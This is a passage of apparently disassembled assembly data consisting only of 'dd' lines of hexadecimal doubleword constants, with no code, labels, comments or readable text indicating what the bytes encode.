		dd 0C1E8BD5Fh, 0C42B8C28h, 7082FAA4h, 433C54DFh, 0EED173B6h
		dd 0F91CD42Eh, 8601D00h, 3CCA0623h, 0F0AB1342h,	0FC20BA2Bh
		dd 0A34D6B04h, 0F031F39Fh, 189D1E0h, 95064C4Ah,	0F2FAE12Dh
		dd 74E42ED7h, 1CF45F04h, 69F80B75h, 800014C6h, 0EF5DD86Dh
		dd 8B70D99Fh, 0A848F619h, 5B954A70h, 20C0A078h,	0C7073498h
		dd 0FAF06A8h, 7C79CBh, 97386CE7h, 2E01F392h, 0EAF94025h
		dd 80E28F60h, 0CABEBF84h, 3A39160Ah, 0F268E2ECh, 5D6330B5h
		dd 792A8D25h, 0FC544494h, 8CBAF848h, 94077B00h,	0F6FFC022h
		dd 29A825C3h, 64977C70h, 135009F8h, 7501AF9Fh, 60A5C059h
		dd 0F24165A0h, 0AF98852Bh, 4F3EE86Eh, 0ACAE0B8Bh, 4A17CC54h
		dd 41BF0F4h, 6B366530h,	3D0FD88h, 0D85FD7AFh, 0C11AF866h
		dd 2C890160h, 71B15D56h, 57A02F17h, 69A5059Dh, 0CDD9307Ah
		dd 24F66A40h, 53034AE0h, 0D6C06F00h, 7C55453Dh,	48302D89h
		dd 66626871h, 0F63F0008h, 28BBE33Ah, 4A7C2278h,	0B354C8D9h
		dd 4F560D00h, 1AB0BA03h, 3E15E250h, 8D4BA6EFh, 0A26423D8h
		dd 94B230B6h, 9F64B3Ah,	607365h, 0D86469C0h, 0C06272Dh
		dd 51E98CF4h, 40ED0324h, 67F3FCBCh, 904F0EA0h, 0CC9546B8h
		dd 0F2B098h, 0FFBBA8D1h, 0E212FA3Fh, 916C3597h,	6F248F30h
		dd 0EC9B130Ah, 8BEFCE9Ch, 9C47FB8Fh, 0C7F9456Bh, 0D8C08B40h
		dd 0DC2DD80Ch, 427471A1h, 32031C5Ah, 0C1E8A1CBh, 0A6F0412Bh
		dd 153D35Dh, 0B46CABBFh, 0AB8C1F12h, 0B46D820h,	7F840774h
		dd 70418639h, 0E53520Fh, 2B12B67Bh, 2CE07760h, 0C8B1D426h
		dd 0B0895125h, 0A4162C58h, 0ECC13B5Dh, 29A64193h, 76CB0264h
		dd 54603ECCh, 0A50903FBh, 55F4F9E8h, 7CE82C8Ch,	0B953DC0Fh
		dd 87B0F804h, 0C64804Ah, 7BFBC090h, 3D262820h, 213B6593h
		dd 4CD0ABC0h, 25126F9Bh, 0F471DBBEh, 54F82292h,	7F9BE503h
		dd 21F83A76h, 4F0E19B2h, 7236FE04h, 260464BCh, 676EB75Dh
		dd 0B3286E68h, 8C47A033h, 699EC206h, 2D19337Ch,	39185983h
		dd 0E64CA06Eh, 97686788h, 0B89BD004h, 86E58804h, 494564AFh
		dd 0C46C9A24h, 0B158C806h, 237C0670h, 4039E47Fh, 0B603859h
		dd 7011B0C4h, 43AE0B0h,	0E56A9CA1h, 87848CABh, 4A2DCC07h
		dd 0E0FA61F2h, 0D3CC6014h, 5C08900Bh, 0DF7C50B4h, 0A8F49882h
		dd 4956033Fh, 506018F1h, 0FF39CD8h, 74C5B124h, 5EDC742Eh
		dd 44B2E3h, 2DA8FAA4h, 14C74BDh, 26623FFCh, 52AA03E7h
		dd 34046CB8h, 2B4CDDAAh, 69A028A6h, 182076A3h, 0EC33E749h
		dd 41B6590Bh, 0A9643077h, 0A4140466h, 0B85BFD4Bh, 6AFA963Ch
		dd 7A450A28h, 8707D42Ah, 2D6294EFh, 91D80AE5h, 9CD61E20h
		dd 8438814Eh, 94E4C7E9h, 0D4595113h, 8300DE2Bh,	0A06A4317h
		dd 0E0D20CB6h, 0F53F11B8h, 55A4051Bh, 0B4004087h, 71DD6E86h
		dd 0EB3E2FC2h, 44942868h, 60944D9Dh, 93D22A74h,	2BC4E11Fh
		dd 0A3A335C9h, 0F6BBE85Ch, 18719581h, 8603EB00h, 0E046487Ch
		dd 9ABC3B5Dh, 0E473A325h, 0A5A92880h, 0C05FB9h,	2CCEA881h
		dd 0A4078B13h, 0D789BC02h, 42C864F6h, 609AF598h, 1E14A8C0h
		dd 90E67D82h, 0AA6004B5h, 0DDC63AC0h, 3DF21A2Bh, 644208DCh
		dd 9219882Ch, 70C47395h
		dd 0C180BE5h, 3B0EF81Dh, 0BC1F5BB6h, 902434DCh,	805C9BAAh
		dd 0D27520CAh, 3C2A024Ah, 3FB0972Bh, 6525FCDAh,	131879F5h
		dd 0EDF4B992h, 298D4E8h, 0C4BA424Fh, 5B293B91h,	0BC5870D8h
		dd 0BE16FE2Ch, 0B8BC8F12h, 0CDD0C3C1h, 4352EEEh, 80609AAAh
		dd 20911064h, 9CE59505h, 1A44C08h, 0F56AEBDAh, 0F08C3F76h
		dd 242A173Bh, 0BB688514h, 298000DBh, 57394B30h,	274F4FF8h
		dd 261120F7h, 0E02F4BAEh, 0EA00F423h, 3041DF56h, 9DD0090Bh
		dd 0E4FE62AFh, 6C8C9964h, 0B419172Eh, 0BC68FC39h, 0E2128C50h
		dd 20AE0BEFh, 0C83CE670h, 0A3319F01h, 48827836h, 7E14FDF4h
		dd 8C7C39C3h, 9B58804Bh, 0B100669Ch, 0FCC0206Ah, 0B2C778BFh
		dd 9FBBF26Ch, 2FD10879h, 34C9E18h, 0EBD28018h, 2E5C17Fh
		dd 5F7CD3CBh, 9157309Dh, 29108C90h, 414AEC8Fh, 89CF20A9h
		dd 526D918h, 67D9A00h, 5ED3C3FBh, 2CD89508h, 0C1E4CD9Fh
		dd 3B52CE6Eh, 9CF4A0E0h, 90972F8Ch, 1B8E3791h, 1152F780h
		dd 960F0132h, 17879B68h, 0F5390404h, 4E491CE4h,	95D890A8h
		dd 6F1E2A42h, 1BFC344h,	1FBC20ABh, 0FBC7E9C4h, 0FA982FB6h
		dd 74A1BCF9h, 2B185271h, 0C8BFCA01h, 55D8C620h,	0A62A4C75h
		dd 3054B2C8h, 0B600A445h, 1EAB4DB9h, 0C03C6689h, 0C4F62C20h
		dd 5E09CDC5h, 5A5F2B76h, 857CA1FCh, 6714743Ch, 9F7C54DAh
		dd 0E02694D3h, 3EB4465Ch, 95A10275h, 57EAECC9h,	4D5D3C9Ah
		dd 7647C00Ch, 2A719646h, 423044BDh, 17B04C0h, 6EAB4163h
		dd 742F00ECh, 6F88FA90h, 0F5FD7E38h, 0B09FB2D4h, 0B1135EF4h
		dd 748C2B64h, 93352E1Ch, 81628500h, 0BC88A81Fh,	40058CB5h
		dd 0C8C062ADh, 745880B8h, 3F01DE22h, 708667F6h,	536AA34Ah
		dd 2C58A734h, 0F30FC07Fh, 20AB1236h, 0B42B8198h, 4B2A305h
		dd 18CCFA15h, 72700C8h,	44FF1264h, 2449C4ACh, 0DA410074h
		dd 0D7E2E0FEh, 271CB460h, 5CEB48DEh, 0A507D4DCh, 3DEEBD4Eh
		dd 85B54487h, 383004E0h, 0E950F640h, 311327C6h,	8C598CDh
		dd 989C20BEh, 26016B33h, 0E32FCD45h, 0D7FE38D7h, 0AC0054BAh
		dd 0C43AAF70h, 0F121B825h, 47300BE4h, 0D37A405Eh, 1A387030h
		dd 25F1E800h, 88D8652Bh, 78D3B5C3h, 9F430A01h, 8A6BB156h
		dd 4E963A8Ch, 52ECE4FCh, 3C5CA08Ch, 24D81278h, 0E220B36Ch
		dd 174E3038h, 9491EF00h, 0A58885D7h, 0CD221C12h, 0EA418BD4h
		dd 0B87CC842h, 0CAE25F01h, 8E2BC34Ah, 3F21B8DCh, 5F7603BDh
		dd 0C8F48B38h, 903DC351h, 4861B3E2h, 5B81101Fh,	8CD64F21h
		dd 497FDCA4h, 0E7DD9D2Dh, 60BB6428h, 98AA79BDh,	0CB2D3BCFh
		dd 97CACCAh, 5E994BC4h,	500251DCh, 0FED28CF4h, 0F884345Fh
		dd 0BCC8EC8Fh, 0BF07FCC0h, 0FDB11322h, 2ABB0105h, 6D4DD88Fh
		dd 34954BB8h, 0B39012AAh, 618C128Ch, 59C79CB8h,	58D8F926h
		dd 31F37B0Fh, 3B78E0A1h, 9D884C4Ah, 76978CE8h, 0AF04EE00h
		dd 0F3483F9Bh, 1D5E0FE5h, 8849CB7Dh, 50CF0893h,	4E3B514h
		dd 1C02F118h, 0E0F831C2h, 2426023Fh, 38FBA267h,	0A4F890FFh
		dd 9C74B25h, 35F7D8B0h,	80321104h, 0BEE3EEC3h, 0B4D8B5C6h
		dd 0E74CE027h, 67576404h, 0A8489963h, 3ACF70C8h, 0A68425C4h
		dd 0FE51AF5Dh, 847F489Dh, 0C03CB8A4h, 0DC120B5Fh, 209597A9h
		dd 45C5D740h, 4CBF16E3h, 0B4ACBCB9h, 0F088DC8Bh, 0CC7B6BC0h
		dd 5D981E8Ch, 980AEFDh,	686331FCh, 0BCD9C0FAh, 0CC19EE79h
		dd 34B0C8C3h, 0F060D85Eh, 0AE0911h, 0F9AC4D31h,	69047B33h
		dd 0EDDC0300h, 0EF50012Ch, 0E30B3A0Ah, 0E8BFC819h, 80C46B7Ah
		dd 0DB81C49Fh, 0C03DF390h, 995ED83Ch, 59AFB807h, 847B298Dh
		dd 0B86EBB84h, 0B25E2009h, 4A583B00h, 7B9F7EDAh, 18305968h
		dd 0F0421EA8h, 5C712534h, 4C20D020h, 0A58A123Ch, 0C914E07Dh
		dd 65189625h, 0E90238E8h, 0D901E3F1h, 0DC4C0957h, 344676F0h
		dd 0AC701600h, 24172B1Eh, 4334CE95h, 30F5F24Bh,	0D0FBAD24h
		dd 3B7AD2A6h, 9B2A6409h, 40E4D67Bh, 710A35D0h, 27B50500h
		dd 40125E80h, 906B003Dh, 0C69A6615h, 3F74E2CAh,	0E901EE0Bh
		dd 5E0418C1h, 7C48267Ah, 0DE2CA438h, 0CDA96D0Fh, 98E3129Ah
		dd 0F9B6ABF4h, 10D7707h, 0E2CB495h, 32B5C4FFh, 0C99AAF12h
		dd 8F43DDC0h, 0B701A066h, 5AB5FF5Eh, 0AC2BD4EAh, 9D89C12Fh
		dd 3A4130F1h, 81002709h, 2839C1C7h, 0BD831DB5h,	2180F99h
		dd 0C05784D0h, 650DBB3Fh, 8B0409E4h, 0D11E2585h, 0E03DE6BBh
		dd 4084BBh, 0A6A7B44Eh,	0BC51F1BFh, 24C62434h, 0C60E2A6Bh
		dd 6F602B6Ch, 85C7C1BFh, 0A422CD36h, 7260E127h,	141F60F9h
		dd 0FFF382E9h, 851889E2h, 8B16332Dh, 67B32FC1h,	0D74192FEh
		dd 34206A6Ch, 0F76509DEh, 445F0910h, 0D78100F1h, 339B501Dh
		dd 510F6090h, 0A07279B8h, 8B665E3Ah, 50611DDAh,	5514590Fh
		dd 4CA92E60h, 1C73C13h,	822E7A4Ch, 0BA66DC9Eh, 61CC2409h
		dd 0B7ED5F90h, 4B82BD60h, 14221479h, 0CF0035E8h, 0D9C421B6h
		dd 0CE0FE992h, 258BB32h, 0C5F2A48h, 0AA8B02A4h,	0A9DA5FFAh
		dd 0B11C5200h, 2FFE81BAh, 3EB2FA4Eh, 10C5EACh, 883F1214h
		dd 85EC0645h, 911B51ADh, 0DCE79701h, 0E80DFC2Fh, 0F7028C16h
		dd 0C083AF69h, 0EBDB5505h, 2BAAB58h, 9CF7CE3h, 0B648BD95h
		dd 890DFC60h, 1016B1B5h, 0E4AFB904h, 0BA00ED03h, 0EB0E66D5h
		dd 10E64CE7h, 74AA05h, 0BF505BF8h, 641BA098h, 400D3860h
		dd 2268C811h, 3B7700EDh, 3C42253Ah, 8B0DC755h, 6C2AB19Dh
		dd 0E4ABB914h, 7500F6D3h, 96EDDBB5h, 4A8531FBh,	0C241AA71h
		dd 233DBD8Bh, 9263FD2Eh, 0DF81DAAAh, 0F0D5B400h, 3817FECh
		dd 0FBBC98E7h, 668B8D1Bh, 0B71CC0ECh, 0D168FF94h, 0EA4907Bh
		dd 2171508h, 81850F01h,	34C65F29h, 0BA28EF04h, 0F4AB5EA7h
		dd 8D00082Fh, 46032DB0h, 9D7C2C0h, 26ACBE3h, 60044D57h
		dd 0C46CB9C5h, 37E83A18h, 50F53CC4h, 1250CE90h,	159553BBh
		dd 31E8A26Dh, 109D4A04h, 0F280ACDFh, 50E68580h,	8BE9BF2Ah
		dd 0DF04DBE0h, 127A0A3Dh, 0CABE0EC8h, 0DCF11043h, 0BE8FAE92h
		dd 3567F7CFh, 0EACFF0C2h, 404826ADh, 0BC7709A9h, 996555D4h
		dd 8F6015E4h, 0D9A4E92Ah, 40ED351Fh, 509E7914h,	8903FE70h
		dd 0BD292404h, 14EEA6B9h, 6E35FF64h, 636BBB03h,	89E11D44h
		dd 230C4025h, 0F695D59Dh, 53BA53FDh, 0CA92740h,	54605F81h
		dd 0BF7392F1h, 88708A73h, 0A88B4C14h, 2EDB8974h, 0FBE157BDh
		dd 0E861D8BDh, 2A1E80A4h, 0FD808519h, 79958980h, 0B951A32Ch
		dd 0E900141Dh, 30C9012Fh, 0BB6C75B0h, 8BD81602h, 4B70E642h
		dd 0E4008499h, 6248BB71h, 7775E725h, 490B5E06h,	6D20C898h
		dd 64B6F802h, 0BB4912C8h, 0E92677E6h, 0DF46402Eh, 48000CC2h
		dd 65B9ECCAh, 584A3E28h, 4D495D74h, 15103348h, 0E8147A11h
		dd 19E46004h, 826B2DC9h, 0C200F333h, 0E2F76661h, 3959BD33h
		dd 0C82B12FDh, 8B0F88BAh, 75AD2EF7h, 0D7EB1E00h, 46DB3812h
		dd 0E06838h, 0A0D5522h,	4A3E61C9h, 0E922EBE9h, 1919E0F9h
		dd 0DB298125h, 861FD4A5h, 0BD145EEAh, 4109107Dh, 0A212A28Dh
		dd 3B28D9FEh, 42E59DD0h, 0DCC0DE5Ch, 0E98022C9h, 8A1BC461h
		dd 61F2AADDh, 60114B69h, 845C30E1h, 50F94A44h, 946BE8h
		dd 6AB99BC9h, 4C2201D8h, 8316531Ch, 0A42F380h, 1EBF6628h
		dd 0D45F69B7h, 0FE3231A5h, 0BA411118h, 30734495h, 2A4253DAh
		dd 0FEE3DC1Fh, 9DBC31C0h, 0A0CEB762h, 0DC26B1F7h, 8D072231h
		dd 0D5480EB5h, 6A9831B9h
		dd 80A3F82Fh, 0D7D06BBFh, 3ACE00E1h, 0FAB657Ah,	43256DA1h
		dd 0DA3275F8h, 0E860804Dh, 2A75BDF2h, 0C4E2B52Ah, 22331AEh
		dd 5F0894B9h, 0E878CBFBh, 2961056Fh, 2208C5B5h,	6767FCCEh
		dd 74611944h, 57C2208Eh, 8D31C90Ah, 0FC98C289h,	0A4B8D9BAh
		dd 0B70F05AEh, 6BD22BFEh, 0F43A7F35h, 23FA01B3h, 0D1C233ADh
		dd 83D04480h, 0F47504E9h, 7C958A7Fh, 0DC00D6A2h, 988A8D6Ah
		dd 0CA880D89h, 40FAE81Dh, 25243BE9h, 9A350C00h,	72215CBAh
		dd 588A2E4Dh, 5F0511BFh, 2C01A6E8h, 958B5F9Ah, 41C57551h
		dd 414C599h, 4CD0A2BAh,	2C03042Eh, 9E813A29h, 0EA042D55h
		dd 0B1D05B4h, 0F261B5DBh, 0C103B00h, 22008136h,	0A329DCCh
		dd 904B55B8h, 16AC2E84h, 392D248Eh, 0C103180Dh,	59A5E308h
		dd 2E581996h, 23AC44FDh, 2FF8E2A1h, 9BACC9F9h, 68B93912h
		dd 0B57FCCBEh, 0B0290920h, 97C55571h, 0FC2F6B65h, 6BAA4E2Fh
		dd 0A350AD9h, 0F704C801h, 458DE1BDh, 0AC16ED2Bh, 3330E3A8h
		dd 60344111h, 4D4A0AD9h, 106FFEh, 0FFE8327Bh, 609978h
		dd 49BED681h, 11E9308Dh, 0C62A88h, 0B6A56C88h, 444926FFh
		dd 0DEAF1700h, 735BA2C1h, 98E1F861h, 15E92957h,	1D3908A5h
		dd 8704C163h, 22CD5F09h, 64807565h, 0BDEBF0Fh, 6197E880h
		dd 2E0D7502h, 20138B1h,	5BF28A4h, 205CCCE3h, 860F0312h
		dd 0E6BB14F5h, 7CCCB4D2h, 80E70281h, 60302721h,	58ACFB55h
		dd 8C1D66E1h, 4A7F80D9h, 0D6BEFh, 0EC647C4Ah, 764D2F93h
		dd 0FC094E65h, 88F46965h, 0C2178DCFh, 0DABB4052h, 262CBC9h
		dd 5528F5E7h, 0E779D9F3h, 4D802E38h, 1F927F59h,	0BF9F8803h
		dd 0A8806A31h, 0FC07A27h, 0CD8533F6h, 23663E76h, 0EAFB001Dh
		dd 6EE57C01h, 0DB29D301h, 0DF8B90A1h, 0EDFE5430h, 0AC48F92Fh
		dd 151200E2h, 3B8C3954h, 0D09DCAB9h, 5F711A00h,	2FC6543Ah
		dd 0D1B63F00h, 0C9B553C1h, 0E77071Ah, 704E4FAAh, 338EE78Dh
		dd 97D15497h, 3BDC185Bh, 1F4903FFh, 122207h, 0CDA7A149h
		dd 902E789Eh, 69EFC903h, 0F0A07FB7h, 0EE3B040Eh, 0C300B0D7h
		dd 0C8F0FBBh, 8E2A3F76h, 12E10606h, 0BF5C408Bh,	42130999h
		dd 37135F73h, 0A4302AD0h, 7F586225h, 6E8065B5h,	0DF2FF589h
		dd 0BF334E75h, 15954F20h, 1950B22Bh, 0D28018Dh,	4B626985h
		dd 0A16BFEh, 0BFDF9E0Ah, 261E21F5h, 850601Fh, 66142039h
		dd 617D04D8h, 0F7EBBFE9h, 6033A211h, 80177DC9h,	91258D09h
		dd 0BC02302Bh, 0A297077Ah, 0E05B7821h, 0B767D38Ch, 30A63D48h
		dd 0BB66E952h, 90A678F8h, 0C75F384Bh, 0F86394Ch, 0F8E0A781h
		dd 0B531DBAEh, 95314356h, 0CA7EA246h, 0ACB39D5Ah, 2AB23DDEh
		dd 0BF46060Dh, 0B3A0C900h, 0F1FEFCFh, 89900D5h,	0D2619536h
		dd 0F691CC68h, 82933549h, 9B774DE1h, 0F6042742h, 4464407h
		dd 0B05DF6AEh, 23602CCh, 80692F6Fh, 0ED8293F7h,	9607105Dh
		dd 64E5F974h, 0EFC6EDDEh, 90142FA0h, 0FF29F8BFh, 0AEACD2B5h
		dd 68A97300h, 6F3370C2h, 3463706Ch, 2CEB3D24h, 0E174A6CDh
		dd 8DC988FFh, 0BA4B7D22h, 7400986Eh, 0B12DBE54h, 16488B59h
		dd 9CE5811h, 0F90D82Ah,	50830133h, 0D3E2FD8Ah, 0E6177022h
		dd 4765AE0Bh, 0BF736014h, 0F18974D9h, 3553EA26h, 7B5C007Ch
		dd 0FE0BA0F1h, 4F016371h, 3999C461h, 5BDA1FDFh,	0C5E7026h
		dd 0F1D68462h, 0A0EDEC6Dh, 8107690Bh, 0FEC6F2C7h, 9E9B21D3h
		dd 0F68049Fh, 0F5C78889h, 0D9842CB8h, 306976B2h, 802CB763h
		dd 80F755ACh, 0B0010BE2h, 0F8B3E57Bh, 0F02820E9h, 187EF380h
		dd 0C583050h, 87443932h, 10E8C101h, 0E0020EACh,	4B03FC4Ch
		dd 0E74F4358h, 367736EBh, 7B0E6481h, 501B8C85h,	21D02829h
		dd 13583318h, 1B574201h, 0B8C0C240h, 0BBDB4EDBh, 8C2E346Bh
		dd 0EC8550DBh, 0D46D9686h, 0A8B53000h, 80B6B160h, 0F130DD3h
		dd 33251E83h, 551600B2h, 629E3759h, 0EBE6003Ah,	17CE747Fh
		dd 0B505BC89h, 8D29ED9Ch, 0B630AFC9h, 620691D8h, 5B750495h
		dd 377B7803h, 0B011A007h, 2E448529h, 0BBF19417h, 7AF006F6h
		dd 0F9F4CCCFh, 0B169D790h, 2A6DDD59h, 0D1406D60h, 567B12ABh
		dd 0E74F02A2h, 0D0506B1Bh, 42202741h, 57B3C04Eh, 68E1CB81h
		dd 743D0A2Ch, 0A71A0612h, 0EF2FCD04h, 782235A0h, 50032CA2h
		dd 2333BA60h, 0C1CC8D04h, 794F006Bh, 6D37BE1Eh,	2D000A89h
		dd 0B305F9C5h, 0FA0B182h, 615F86B4h, 6EE617D3h,	0CE5B29E3h
		dd 406B4D4Bh, 0BFE088EAh, 726AEC0Ah, 0A509D115h, 0BACD7D31h
		dd 70A254E0h, 21885EA1h, 0FC145FC9h, 5902123Eh,	0B8B37BB6h
		dd 5DD4B2C4h, 4C5856FBh, 1C147E6Eh, 43208290h, 9D31471Eh
		dd 859E5897h, 9BFE2B12h, 0F347C038h, 2AD0CBDh, 85899F59h
		dd 0C40E22B1h, 0F6F2C486h, 809ADF27h, 58BAD357h, 0CC3F8477h
		dd 0D53D01BFh, 2181B509h, 0C2835081h, 1012E904h, 0C53D34h
		dd 0DE6D0AC9h, 772C5AB7h, 0AD0C13E0h, 0AE81BDA6h, 6E204E50h
		dd 10571782h, 0FEE50F04h, 82896007h, 0ACAF3205h, 619BB1CCh
		dd 174E0F78h, 6DEC63AEh, 582B5ED0h, 1AE22900h, 938873D2h
		dd 0A94D05ABh, 0B7CDBDEh, 913FB8A2h, 155430Bh, 6A0C80C8h
		dd 0C0A0D437h, 0B6011883h, 9D09AFB4h, 7E32084Dh, 0FDF10993h
		dd 0E90B6971h, 4127EF1Dh, 0D6BD4DF7h, 61F196E1h, 2B0421F2h
		dd 39AC55F9h, 0F8044BE8h, 32299D33h, 0EE4EDBCEh, 0C0B953Fh
		dd 8143F35Ah, 2D9DF010h, 4D24BE4Ah, 280941C1h, 3A7511F2h
		dd 0B8E8FDA9h, 96E79895h, 0CF8B0E60h, 0C2395061h, 0F3481010h
		dd 0F1FC00CCh, 0FE55FDE3h, 1A00749Bh, 5C5793B4h, 5BDD8Ah
		dd 0B360310Fh, 585A618Dh, 6BEB964Bh, 781B09F0h,	9865C685h
		dd 0A7C577C6h, 0D42B2EB5h, 9D15750Bh, 9C39E8E8h, 1E0C0778h
		dd 0C0E4661Bh, 0E76D5D31h, 0B854AE12h, 0E5BDC502h, 82560524h
		dd 0EC5E5B23h, 5DBD3361h, 5C4FB2FAh, 0C76067C4h, 31841929h
		dd 79610923h, 503C44C8h, 0F8F924FAh, 0B4C9CEA5h, 0B900D404h
		dd 0CE9B2838h, 9DF818Ch, 778B30C0h, 8925C978h, 0EA09FF95h
		dd 7D69AD71h, 0F860624Dh, 25ABAD0h, 69892A11h, 0A2E06699h
		dd 0F138E5E9h, 6BAFCBFFh, 40B625B1h, 4B0EBF87h,	0C864FB9Ch
		dd 2DCBEADAh, 21CB6A81h, 12A02C0Ah, 7F03CE54h, 0D45BD98Bh
		dd 0A6E051F6h, 0F136C0Ch, 0D8AE1188h, 1A0397E4h, 0FD492175h
		dd 23CC04B3h, 0EA6A5F17h, 0BE129B6h, 213EACBFh,	745F00DEh
		dd 81EA62EEh, 8814ACD7h, 7EAE53F5h, 7D5ED12h, 0C19D9AEBh
		dd 0A2FE4AE8h, 839A83Bh, 2424E59Dh, 0A018A430h,	96199005h
		dd 8EAD4129h, 0CDC9C8D6h, 17D88000h, 4F408BE3h,	0DDAA2604h
		dd 6560A531h, 0F94B9D01h, 0B97034FEh, 756BD3A5h, 12706110h
		dd 9FF3B0ECh, 0C93D194Bh, 2FB7CCFFh, 4E9F9497h,	8E7ABFBEh
		dd 0D9019109h, 301D66D5h, 1B2508E8h, 900409F5h,	0D2A22EDAh
		dd 198039ECh, 0FE0BD3Fh, 0D9318C09h, 22B0445h, 0B0F6B6BAh
		dd 0FC579E12h, 481C7571h, 0DF14E139h, 0E928DA90h, 28C90047h
		dd 4204A732h, 584C9A25h, 668877DDh, 7D4E2CB9h, 54B3052Ah
		dd 0E07FE690h, 0A5A625h, 0B04C5968h, 0BD039F32h, 100C8D2Eh
		dd 38B6BF50h, 25794DCAh, 0DCE50CC6h, 6C52CD92h,	0DE429AFFh
		dd 30BD9D2h, 6D4B42C5h,	2B78E0BEh, 3341E99Dh, 92FC352Eh
		dd 90041A7Dh, 31199087h, 0AA85F93h, 0DF76714Eh,	0DA8BC212h
		dd 0E55EF990h, 7108BACAh, 0E6C22508h, 0F1277957h, 4BAF1815h
		dd 81FDCC9Eh, 0DDFBC704h
		dd 5DF03615h, 8009D9Ah,	1CB58589h, 65098AB1h, 4043CF1Fh
		dd 6153CD9Ah, 0CFC92028h, 8965BD2Ch, 43E3CCA5h,	40BB4B35h
		dd 0C33BCE06h, 0E6005302h, 71E4F970h, 1FC18160h, 0C01043DDh
		dd 314E7DBEh, 0AE97617Ch, 3E5851E5h, 0F222B512h, 805D7FE5h
		dd 2331844Dh, 0E190EBBDh, 4C344110h, 0D6904B58h, 288D0DBAh
		dd 0B690441Dh, 0D3C8A52Ch, 0C8182BF5h, 6DE2F860h, 0FA1FD228h
		dd 5DFE58C9h, 273FB079h, 0B1E4608Bh, 1DF69D18h,	0E4020969h
		dd 5123B064h, 27071249h, 9EEA1680h, 0AAA8123Fh,	0B3DAF0D9h
		dd 0D6D25E4Bh, 4BCA6385h, 1BD49236h, 511F32Ah, 24E05225h
		dd 7369E95Bh, 42D115h, 58C0FCADh, 749753A4h, 0C8C44909h
		dd 0DD243300h, 38137D73h, 566D00F2h, 34F951Ch, 2A32BC28h
		dd 0A475E676h, 0F8BC5BF5h, 23843B88h, 9AA119BDh, 3341A5FDh
		dd 842160FEh, 8541B039h, 0AE450E44h, 81C49CB3h,	0F5538E23h
		dd 4DA6F4h, 1523FE2Dh, 0D1D9259Bh, 0BFF2E209h, 8E97B5Bh
		dd 0B72552A9h, 796A0079h, 77BAD763h, 0DD60AE27h, 27B18910h
		dd 0C5209EB6h, 0FD2E3D25h, 18111DB7h, 27340F80h, 10B58679h
		dd 896887h, 0E0E82D3Fh,	829F7580h, 0B9162B98h, 0DEA70837h
		dd 4C9C5EA0h, 98998507h, 81A0B72Eh, 278ACADFh, 0E400390h
		dd 0C959BD2Bh, 739477E1h, 0C55D02DCh, 91CFF529h, 0DEE8F889h
		dd 0D19BC02Bh, 72896B78h, 491F629Dh, 0D74FCD2h,	5DC67Ah
		dd 0ECB6405Ch, 9B520805h, 0F0D6A807h, 0FC717BE7h, 13D9801Fh
		dd 0C02323Ah, 0CD1DC020h, 92EF008Ch, 0A9D423AFh, 8B0CB0D7h
		dd 0D6525FD8h, 3C5B8989h, 0EDE3D27Fh, 1722B459h, 27D61797h
		dd 73405ECDh, 19510B3h,	9DEB70Fh, 2F2729BDh, 25F2B439h
		dd 2CD38209h, 5298B805h, 0DC114B01h, 0E527B37Ah, 82A7DD89h
		dd 830259FFh, 435E1769h, 0C5A5E071h, 2519B7FDh,	0D0C0E6C0h
		dd 60399497h, 81524FCDh, 4B2EFBD3h, 0C5251795h,	2B82193Ch
		dd 0F28A3060h, 26952F98h, 200E611Bh, 604B1C41h,	25B240EBh
		dd 3912DE8Eh, 7DFB6200h, 0F06712Bh, 0C1602D2h, 1D4B467Ch
		dd 3725235Eh, 15E200C9h, 7C867EA4h, 5F4EAEE0h, 70E0388h
		dd 3BB11F51h, 78AA30ACh, 7002EF9Ah, 2C7131B4h, 205D5ED4h
		dd 74925C8h, 134439E6h,	0DDBA4AB7h, 0A8D43929h,	2BAC2735h
		dd 0B32564E6h, 4C14E60Ch, 198059E8h, 0D2CC493Eh, 0B764E50Eh
		dd 8529E310h, 132AEE6Dh, 0C761605Fh, 898FC1FAh,	0A3EB1404h
		dd 87C1F02Ah, 0ED0744E9h, 0B7EF9703h, 4F295335h, 0BD6BBB52h
		dd 60B2800h, 0A1689B71h, 906C6F00h, 0BBC1B560h,	0CC2AF6E3h
		dd 5EB881C2h, 6FB2940Bh, 0A5850257h, 0B35B291Ah, 1FAD9D04h
		dd 0B8D98B04h, 10E8C9B5h, 0FFE578h, 0EFA5B75Fh,	54988F15h
		dd 0D3427201h, 4A8AC75Dh, 0BA1649E4h, 44FD3E2h,	0EA01C87Ah
		dd 0CDF0DBE6h, 1897E3CBh, 97A7B78Ah, 15E841Ah, 3A9EE2DCh
		dd 8F9D7696h, 120E53E6h, 4B9CB28Eh, 4066BBFh, 0DAFD8631h
		dd 0DBD2B5B8h, 6B5D8524h, 0E7FAC6C4h, 60AE4F97h, 99561091h
		dd 0C0010B25h, 801FE97Bh, 0D49D0689h, 0F728D668h, 0D617FB9Fh
		dd 2E041DD8h, 0BA40058Bh, 1B8F88B6h, 4D8D3108h,	64611233h
		dd 0ACEE84E2h, 0E0B5AE7h, 4E2B58DFh, 7230FA50h,	0F6AACE7Ah
		dd 8DF54B96h, 75292FA9h, 0C9466631h, 0D0B5D44Dh, 0A506521Fh
		dd 0EA5E1B1Ah, 5042D668h, 644652h, 669025C0h, 0C8C7BB13h
		dd 0B0E3CE03h, 0D855D5A3h, 0F074D98Eh, 59BF3DAAh, 5B2E0809h
		dd 0AC8DA26Bh, 951A20A6h, 0DE0FCC99h, 90B52DE4h, 3470C3Eh
		dd 19261D5h, 0E5C0F554h, 30007D3Eh, 2A0FEE0Bh, 9E1BE467h
		dd 0EBB0F6Dh, 2429F724h, 26F63E94h, 955E39E0h, 5970B2B0h
		dd 0F9AD389Dh, 0A8565061h, 851E975Fh, 7E91749Dh, 42A76000h
		dd 6787AF36h, 2ECA4C3Bh, 2AB7895Ah, 3FAD8577h, 96E93B20h
		dd 6267A512h, 706CBB5Ch, 0CC0011A4h, 0F24F9EBAh, 4F599D23h
		dd 296FBA13h, 0B26A7B00h, 81E7B72Fh, 5D97F304h,	92B85B3Ah
		dd 812049A2h, 296CCAE3h, 62C95F3Eh, 0DFB0436h, 357F3DD1h
		dd 1D960A2Fh, 1910A5FEh, 0DC00CA98h, 529E2703h,	0BFB03D41h
		dd 0FBBF50B0h, 66421897h, 28A425BBh, 1764562h, 964918F6h
		dd 195198BFh, 40170E89h, 0C7E3B394h, 51E66000h,	43063DA7h
		dd 9DE94B2Eh, 0A0147648h, 5EB53101h, 86DC1BF5h,	3175A6E1h
		dd 9D67688Bh, 69518F6Dh, 0A24D7796h, 0A633F760h, 6DBF12EBh
